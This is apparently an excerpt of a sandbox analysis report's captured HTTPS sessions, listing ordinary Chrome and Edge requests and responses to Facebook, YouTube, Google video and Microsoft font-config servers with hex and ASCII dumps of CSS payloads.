dd{color:#000}dt{color:#606770}ul{list-style-type:none;margin:0;padding:0}abbr{border-bottom:none;text-decoration:none}hr{background:#dadde1;border-width:0;color:#dadde1;height:1px}::-webkit-input-placeholder{color:#606770}:focus::-webkit-input-placeho

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49767	157.240.241.1	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:48 UTC	622	OUT	GET /rsrc.php/v3/yN/l/0,cross/z8iN9p2rYBG.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:34:48 UTC	1214	IN	HTTP/1.1 200 OK Content-Type: text/css; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: k5bAGE0pDFda+ypYNbo1nA== Expires: Sun, 12 Jan 2025 21:00:52 GMT Cache-Control: public,max-age=31536000,immutable timing-allow-origin: * document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(), picture-in-picture=(), xr-spatial-tracking=() permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=() cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff reporting-endpoints: X-FB-Debug: Fk73j9WlwdGAJteP2aoX06cUVn/Fqt4V5jOy6XnWy4vz7Ey9F0NAdU6EJacWcIEAbRAg46pDyNJRgwifL/Q00A== Date: Wed, 17 Jan 2024 23:34:48 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 17683
2024-01-17 23:34:48 UTC	1	IN	Data Raw: 2e Data Ascii: .
2024-01-17 23:34:48 UTC	1500	IN	Data Raw: 66 62 50 61 67 65 42 61 6e 6e 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7a 2d 69 6e 64 65 78 3a 33 30 31 7d 2e 68 69 64 65 42 61 6e 6e 65 72 20 2e 66 62 50 61 67 65 42 61 6e 6e 65 72 2c 2e 66 69 78 65 64 42 6f 64 79 20 2e 66 62 50 61 67 65 42 61 6e 6e 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 34 38 30 70 78 29 7b 2e 66 62 50 61 67 65 42 61 6e 6e 65 72 49 6e 6e 65 72 7b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 6d 61 78 2d 77 69 64 74 68 3a 39 35 30 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 39 32 30 70 78 7d 7d 2e 73 69 64 65 62 61 72 4d 6f 64 65 20 2e 66 62 50 61 67 65 42 61 6e 6e 65 72 49 6e 6e 65 72 7b 6c 65 66 74 3a 2d 31 30 32 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 Data Ascii: fbPageBanner{position:relative;z-index:301}.hideBanner .fbPageBanner,.fixedBody .fbPageBanner{display:none}@media (min-width: 480px){.fbPageBannerInner{margin:auto;max-width:950px;min-width:920px}}.sidebarMode .fbPageBannerInner{left:-102px;position:relat
2024-01-17 23:34:48 UTC	14979	IN	Data Raw: 67 69 6e 2d 72 69 67 68 74 3a 31 35 2e 39 39 39 70 78 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 3b 77 69 64 74 68 3a 35 36 35 70 78 7d 2e 5f 38 65 73 66 20 2e 5f 38 65 73 6c 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 33 32 70 78 3b 77 69 64 74 68 3a 35 38 30 70 78 7d 2e 5f 38 65 73 6d 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 3b 77 69 64 74 68 3a 33 39 39 70 78 7d 2e 5f 38 66 67 6b 20 2e 5f 38 65 73 6d 7b 77 69 64 74 68 3a 34 33 32 70 78 7d 2e 5f 38 65 73 6e 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 76 65 72 74 69 63 61 6c 2d 61 Data Ascii: gin-right:15.999px;vertical-align:top;width:565px}._8esf ._8esl{box-sizing:border-box;margin-right:0;padding-right:32px;width:580px}._8esm{display:inline-block;vertical-align:top;width:399px}._8fgk ._8esm{width:432px}._8esn{display:inline-block;vertical-a
2024-01-17 23:34:48 UTC	1203	IN	Data Raw: 20 38 70 78 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 68 74 6d 6c 20 2e 5f 35 35 72 32 7b 68 65 69 67 68 74 3a 33 30 70 78 7d 68 74 6d 6c 20 2e 5f 35 35 72 31 2e 5f 35 33 61 30 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 35 46 36 46 37 20 75 72 6c 28 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 55 2f 72 2f 4f 37 6e 65 6c 6d 64 39 58 53 49 2e 70 6e 67 29 20 72 65 70 65 61 74 2d 78 7d 2e 5f 35 35 72 31 3a 3a 2d 77 65 62 6b 69 74 2d 69 6e 70 75 74 2d 70 6c 61 63 65 68 6f 6c 64 65 72 2c 2e 5f 35 35 72 31 20 2e 5f 35 38 61 6c 3a 3a 2d 77 65 62 6b 69 74 2d 69 6e 70 75 74 2d 70 6c 61 63 65 68 6f 6c 64 65 72 7b 63 6f 6c 6f 72 3a 23 39 30 39 34 39 63 7d 2e 5f 35 35 72 31 3a 66 6f 63 75 73 3a 3a 2d 77 65 62 6b 69 74 2d 69 6e 70 75 74 2d 70 6c Data Ascii: 8px;vertical-align:middle}html ._55r2{height:30px}html ._55r1._53a0{background:#F5F6F7 url(/rsrc.php/v3/yU/r/O7nelmd9XSI.png) repeat-x}._55r1::-webkit-input-placeholder,._55r1 ._58al::-webkit-input-placeholder{color:#90949c}._55r1:focus::-webkit-input-pl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49772	23.196.61.234	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:49 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-01-17 23:34:49 UTC	530	IN	HTTP/1.1 200 OK Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Content-Type: application/octet-stream ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0DMGnYgAAAACXaXykPZuVRq4aV6pCkeO8U0pDRURHRTAzMTgAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=41120 Date: Wed, 17 Jan 2024 23:34:49 GMT Content-Length: 55 Connection: close X-CID: 2
2024-01-17 23:34:49 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49770	173.194.191.230	443	8060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:49 UTC	1520	OUT	GET /videoplayback?expire=1276808726&ei=9nyVfNuwJQhImLBWGYdBz7R&ip=76.47.67.35&id=o-AFksPcCzJbiGZ1jyrXUegcxh0K4FMEpeMy2Hs4rFdLzwJ&itag=18&source=youtube&requiressl=yes&mh=X6&mm=019%2C34071%2C00380&mn=bIPmn%2CqvD9y%2CGpLvF&ms=bIPmn%2CqvD9y%2CGpLvF&mv=T&mvi=1&pl=42&ctier=L&initcwndbps=0257952&siu=1&spc=lxTUopluM1LZuOIeSd_Sv73UxNcmmmSR2qod-Ir8pTCq&vprv=1&svpuc=1&mime=video%2Fmp4&ns=oguUGnTIdn7uLprvgJUuhevL&cnr=42&ratebypass=yes&dur=08771689&lmt=3415632071704059&mt=1276808726&fvip=3&c=WEB&txp=0257952&n=fuFJ6yTc9JdFvTRB&sparams=expire%2Cei%2Cip%2Cid%2Citag%2Csource%2Crequiressl%2Csiu%2Cspc%2Cvprv%2Csvpuc%2Cmime%2Cns%2Ccnr%2Cratebypass%2Cdur%2Clmt&sig=tlrYzYlHnmdVLPCxqr0wgcuQ-GeYXue_lUdWXe56O9RBJ2hWq5wpJ5oIZipiNPZsQN46ubCHXRGW2XOHxKaenwU45tH1a__tzSn92KvyF9Kf&lsparams=mh%2Cmm%2Cmn%2Cms%2Cmv%2Cmvi%2Cpl%2Cinitcwndbps&lsig=tlrYzYlHnmdVLPCxqr0wgcuQ-GeYXue_lUdWXe56O9RBJ2hWq5wpJ5oIZipiNPZsQN46ubCHXRGW2XOHxKaenwU45tH1a__tzSn92KvyF9Kf HTTP/1.1 Host: rr1---sn-q4flrne6.googlevideo.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.youtube.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:34:49 UTC	785	IN	HTTP/1.1 403 Forbidden Last-Modified: Wed, 02 May 2007 10:26:10 GMT Content-Type: text/plain Content-Length: 0 Connection: close Access-Control-Allow-Origin: https://www.youtube.com Access-Control-Allow-Credentials: true Timing-Allow-Origin: https://www.youtube.com Access-Control-Expose-Headers: Client-Protocol, Content-Length, Content-Type, X-Bandwidth-Est, X-Bandwidth-Est2, X-Bandwidth-Est3, X-Bandwidth-App-Limited, X-Bandwidth-Est-App-Limited, X-Bandwidth-Est-Comp, X-Bandwidth-Avg, X-Head-Time-Millis, X-Head-Time-Sec, X-Head-Seqnum, X-Response-Itag, X-Restrict-Formats-Hint, X-Sequence-Num, X-Segment-Lmt, X-Walltime-Ms Vary: Origin Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Date: Wed, 17 Jan 2024 23:34:49 GMT Server: gvs 1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49771	173.194.191.230	443	8060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:49 UTC	1512	OUT	GET /videoplayback?expire=1276808726&ei=9nyVfNuwJQhImLBWGYdBz7R&ip=76.47.67.35&id=o-AFksPcCzJbiGZ1jyrXUegcxh0K4FMEpeMy2Hs4rFdLzwJ&itag=18&source=youtube&requiressl=yes&mh=X6&mm=019%2C34071%2C00380&mn=bIPmn%2CqvD9y%2CGpLvF&ms=bIPmn%2CqvD9y%2CGpLvF&mv=T&mvi=1&pl=42&initcwndbps=0257952&siu=1&spc=lxTUopluM1LZuOIeSd_Sv73UxNcmmmSR2qod-Ir8pTCq&vprv=1&svpuc=1&mime=video%2Fmp4&ns=oguUGnTIdn7uLprvgJUuhevL&cnr=42&ratebypass=yes&dur=08771689&lmt=3415632071704059&mt=1276808726&fvip=3&c=WEB&txp=0257952&n=fuFJ6yTc9JdFvTRB&sparams=expire%2Cei%2Cip%2Cid%2Citag%2Csource%2Crequiressl%2Csiu%2Cspc%2Cvprv%2Csvpuc%2Cmime%2Cns%2Ccnr%2Cratebypass%2Cdur%2Clmt&sig=tlrYzYlHnmdVLPCxqr0wgcuQ-GeYXue_lUdWXe56O9RBJ2hWq5wpJ5oIZipiNPZsQN46ubCHXRGW2XOHxKaenwU45tH1a__tzSn92KvyF9Kf&lsparams=mh%2Cmm%2Cmn%2Cms%2Cmv%2Cmvi%2Cpl%2Cinitcwndbps&lsig=tlrYzYlHnmdVLPCxqr0wgcuQ-GeYXue_lUdWXe56O9RBJ2hWq5wpJ5oIZipiNPZsQN46ubCHXRGW2XOHxKaenwU45tH1a__tzSn92KvyF9Kf HTTP/1.1 Host: rr1---sn-q4flrne6.googlevideo.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.youtube.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:34:49 UTC	785	IN	HTTP/1.1 403 Forbidden Last-Modified: Wed, 02 May 2007 10:26:10 GMT Content-Type: text/plain Content-Length: 0 Connection: close Access-Control-Allow-Origin: https://www.youtube.com Access-Control-Allow-Credentials: true Timing-Allow-Origin: https://www.youtube.com Access-Control-Expose-Headers: Client-Protocol, Content-Length, Content-Type, X-Bandwidth-Est, X-Bandwidth-Est2, X-Bandwidth-Est3, X-Bandwidth-App-Limited, X-Bandwidth-Est-App-Limited, X-Bandwidth-Est-Comp, X-Bandwidth-Avg, X-Head-Time-Millis, X-Head-Time-Sec, X-Head-Seqnum, X-Response-Itag, X-Restrict-Formats-Hint, X-Sequence-Num, X-Segment-Lmt, X-Walltime-Ms Vary: Origin Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Date: Wed, 17 Jan 2024 23:34:49 GMT Server: gvs 1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49779	173.194.191.230	443	8060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:50 UTC	1520	OUT	GET /videoplayback?expire=1276808726&ei=9nyVfNuwJQhImLBWGYdBz7R&ip=76.47.67.35&id=o-AFksPcCzJbiGZ1jyrXUegcxh0K4FMEpeMy2Hs4rFdLzwJ&itag=18&source=youtube&requiressl=yes&mh=X6&mm=019%2C34071%2C00380&mn=bIPmn%2CqvD9y%2CGpLvF&ms=bIPmn%2CqvD9y%2CGpLvF&mv=T&mvi=1&pl=42&ctier=L&initcwndbps=0257952&siu=1&spc=lxTUopluM1LZuOIeSd_Sv73UxNcmmmSR2qod-Ir8pTCq&vprv=1&svpuc=1&mime=video%2Fmp4&ns=oguUGnTIdn7uLprvgJUuhevL&cnr=42&ratebypass=yes&dur=08771689&lmt=3415632071704059&mt=1276808726&fvip=3&c=WEB&txp=0257952&n=fuFJ6yTc9JdFvTRB&sparams=expire%2Cei%2Cip%2Cid%2Citag%2Csource%2Crequiressl%2Csiu%2Cspc%2Cvprv%2Csvpuc%2Cmime%2Cns%2Ccnr%2Cratebypass%2Cdur%2Clmt&sig=tlrYzYlHnmdVLPCxqr0wgcuQ-GeYXue_lUdWXe56O9RBJ2hWq5wpJ5oIZipiNPZsQN46ubCHXRGW2XOHxKaenwU45tH1a__tzSn92KvyF9Kf&lsparams=mh%2Cmm%2Cmn%2Cms%2Cmv%2Cmvi%2Cpl%2Cinitcwndbps&lsig=tlrYzYlHnmdVLPCxqr0wgcuQ-GeYXue_lUdWXe56O9RBJ2hWq5wpJ5oIZipiNPZsQN46ubCHXRGW2XOHxKaenwU45tH1a__tzSn92KvyF9Kf HTTP/1.1 Host: rr1---sn-q4flrne6.googlevideo.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.youtube.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:34:50 UTC	785	IN	HTTP/1.1 403 Forbidden Last-Modified: Wed, 02 May 2007 10:26:10 GMT Content-Type: text/plain Content-Length: 0 Connection: close Access-Control-Allow-Origin: https://www.youtube.com Access-Control-Allow-Credentials: true Timing-Allow-Origin: https://www.youtube.com Access-Control-Expose-Headers: Client-Protocol, Content-Length, Content-Type, X-Bandwidth-Est, X-Bandwidth-Est2, X-Bandwidth-Est3, X-Bandwidth-App-Limited, X-Bandwidth-Est-App-Limited, X-Bandwidth-Est-Comp, X-Bandwidth-Avg, X-Head-Time-Millis, X-Head-Time-Sec, X-Head-Seqnum, X-Response-Itag, X-Restrict-Formats-Hint, X-Sequence-Num, X-Segment-Lmt, X-Walltime-Ms Vary: Origin Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Date: Wed, 17 Jan 2024 23:34:50 GMT Server: gvs 1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49780	173.194.191.230	443	8060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:50 UTC	1512	OUT	GET /videoplayback?expire=1276808726&ei=9nyVfNuwJQhImLBWGYdBz7R&ip=76.47.67.35&id=o-AFksPcCzJbiGZ1jyrXUegcxh0K4FMEpeMy2Hs4rFdLzwJ&itag=18&source=youtube&requiressl=yes&mh=X6&mm=019%2C34071%2C00380&mn=bIPmn%2CqvD9y%2CGpLvF&ms=bIPmn%2CqvD9y%2CGpLvF&mv=T&mvi=1&pl=42&initcwndbps=0257952&siu=1&spc=lxTUopluM1LZuOIeSd_Sv73UxNcmmmSR2qod-Ir8pTCq&vprv=1&svpuc=1&mime=video%2Fmp4&ns=oguUGnTIdn7uLprvgJUuhevL&cnr=42&ratebypass=yes&dur=08771689&lmt=3415632071704059&mt=1276808726&fvip=3&c=WEB&txp=0257952&n=fuFJ6yTc9JdFvTRB&sparams=expire%2Cei%2Cip%2Cid%2Citag%2Csource%2Crequiressl%2Csiu%2Cspc%2Cvprv%2Csvpuc%2Cmime%2Cns%2Ccnr%2Cratebypass%2Cdur%2Clmt&sig=tlrYzYlHnmdVLPCxqr0wgcuQ-GeYXue_lUdWXe56O9RBJ2hWq5wpJ5oIZipiNPZsQN46ubCHXRGW2XOHxKaenwU45tH1a__tzSn92KvyF9Kf&lsparams=mh%2Cmm%2Cmn%2Cms%2Cmv%2Cmvi%2Cpl%2Cinitcwndbps&lsig=tlrYzYlHnmdVLPCxqr0wgcuQ-GeYXue_lUdWXe56O9RBJ2hWq5wpJ5oIZipiNPZsQN46ubCHXRGW2XOHxKaenwU45tH1a__tzSn92KvyF9Kf HTTP/1.1 Host: rr1---sn-q4flrne6.googlevideo.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.youtube.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:34:50 UTC	785	IN	HTTP/1.1 403 Forbidden Last-Modified: Wed, 02 May 2007 10:26:10 GMT Content-Type: text/plain Content-Length: 0 Connection: close Access-Control-Allow-Origin: https://www.youtube.com Access-Control-Allow-Credentials: true Timing-Allow-Origin: https://www.youtube.com Access-Control-Expose-Headers: Client-Protocol, Content-Length, Content-Type, X-Bandwidth-Est, X-Bandwidth-Est2, X-Bandwidth-Est3, X-Bandwidth-App-Limited, X-Bandwidth-Est-App-Limited, X-Bandwidth-Est-Comp, X-Bandwidth-Avg, X-Head-Time-Millis, X-Head-Time-Sec, X-Head-Seqnum, X-Response-Itag, X-Restrict-Formats-Hint, X-Sequence-Num, X-Segment-Lmt, X-Walltime-Ms Vary: Origin Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Date: Wed, 17 Jan 2024 23:34:50 GMT Server: gvs 1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49781	172.217.165.150	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:50 UTC	947	OUT	GET /generate_204 HTTP/1.1 Host: i.ytimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:34:50 UTC	203	IN	HTTP/1.1 204 No Content Content-Length: 0 Cross-Origin-Resource-Policy: cross-origin Date: Wed, 17 Jan 2024 23:34:50 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	49787	142.251.40.238	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:51 UTC	1159	OUT	GET /s/desktop/80338919/cssbin/www-main-desktop-home-page-skeleton.css HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: VISITOR_PRIVACY_METADATA=CgJERRIEEgAgRQ%3D%3D; CONSENT=PENDING+538; __Secure-YEC=CgtiU1BPUHlZdVg5ZyiMyKGtBjIKCgJERRIEEgAgRQ%3D%3D
2024-01-17 23:34:51 UTC	680	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="youtube" Report-To: {"group":"youtube","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube"}]} Content-Length: 11999 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 17 Jan 2024 15:32:17 GMT Expires: Thu, 16 Jan 2025 15:32:17 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 17 Jan 2024 14:17:14 GMT Content-Type: text/css Vary: Accept-Encoding, Origin Age: 28954 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:34:51 UTC	572	IN	Data Raw: 3a 72 6f 6f 74 7b 2d 2d 62 6c 6f 62 2d 61 2d 78 3a 35 35 25 3b 2d 2d 62 6c 6f 62 2d 61 2d 79 3a 31 35 25 3b 2d 2d 62 6c 6f 62 2d 62 2d 78 3a 31 30 31 25 3b 2d 2d 62 6c 6f 62 2d 62 2d 79 3a 33 25 3b 2d 2d 62 6c 6f 62 2d 63 2d 78 3a 39 34 25 3b 2d 2d 62 6c 6f 62 2d 63 2d 79 3a 31 31 33 25 3b 2d 2d 62 6c 6f 62 2d 64 2d 78 3a 31 30 25 3b 2d 2d 62 6c 6f 62 2d 64 2d 79 3a 37 30 25 3b 2d 2d 62 6c 6f 62 2d 65 2d 78 3a 30 25 3b 2d 2d 62 6c 6f 62 2d 65 2d 79 3a 30 25 7d 40 70 72 6f 70 65 72 74 79 20 2d 2d 62 6c 6f 62 2d 61 2d 78 7b 73 79 6e 74 61 78 3a 22 3c 70 65 72 63 65 6e 74 61 67 65 3e 22 3b 69 6e 68 65 72 69 74 73 3a 66 61 6c 73 65 3b 69 6e 69 74 69 61 6c 2d 76 61 6c 75 65 3a 35 35 25 7d 40 70 72 6f 70 65 72 74 79 20 2d 2d 62 6c 6f 62 2d 61 2d 79 7b 73 79 6e Data Ascii: :root{--blob-a-x:55%;--blob-a-y:15%;--blob-b-x:101%;--blob-b-y:3%;--blob-c-x:94%;--blob-c-y:113%;--blob-d-x:10%;--blob-d-y:70%;--blob-e-x:0%;--blob-e-y:0%}@property --blob-a-x{syntax:"<percentage>";inherits:false;initial-value:55%}@property --blob-a-y{syn
2024-01-17 23:34:51 UTC	1252	IN	Data Raw: 61 67 65 3e 22 3b 69 6e 68 65 72 69 74 73 3a 66 61 6c 73 65 3b 69 6e 69 74 69 61 6c 2d 76 61 6c 75 65 3a 31 31 33 25 7d 40 70 72 6f 70 65 72 74 79 20 2d 2d 62 6c 6f 62 2d 64 2d 78 7b 73 79 6e 74 61 78 3a 22 3c 70 65 72 63 65 6e 74 61 67 65 3e 22 3b 69 6e 68 65 72 69 74 73 3a 66 61 6c 73 65 3b 69 6e 69 74 69 61 6c 2d 76 61 6c 75 65 3a 31 30 25 7d 40 70 72 6f 70 65 72 74 79 20 2d 2d 62 6c 6f 62 2d 64 2d 79 7b 73 79 6e 74 61 78 3a 22 3c 70 65 72 63 65 6e 74 61 67 65 3e 22 3b 69 6e 68 65 72 69 74 73 3a 66 61 6c 73 65 3b 69 6e 69 74 69 61 6c 2d 76 61 6c 75 65 3a 37 30 25 7d 40 70 72 6f 70 65 72 74 79 20 2d 2d 62 6c 6f 62 2d 65 2d 78 7b 73 79 6e 74 61 78 3a 22 3c 70 65 72 63 65 6e 74 61 67 65 3e 22 3b 69 6e 68 65 72 69 74 73 3a 66 61 6c 73 65 3b 69 6e 69 74 69 Data Ascii: age>";inherits:false;initial-value:113%}@property --blob-d-x{syntax:"<percentage>";inherits:false;initial-value:10%}@property --blob-d-y{syntax:"<percentage>";inherits:false;initial-value:70%}@property --blob-e-x{syntax:"<percentage>";inherits:false;initi
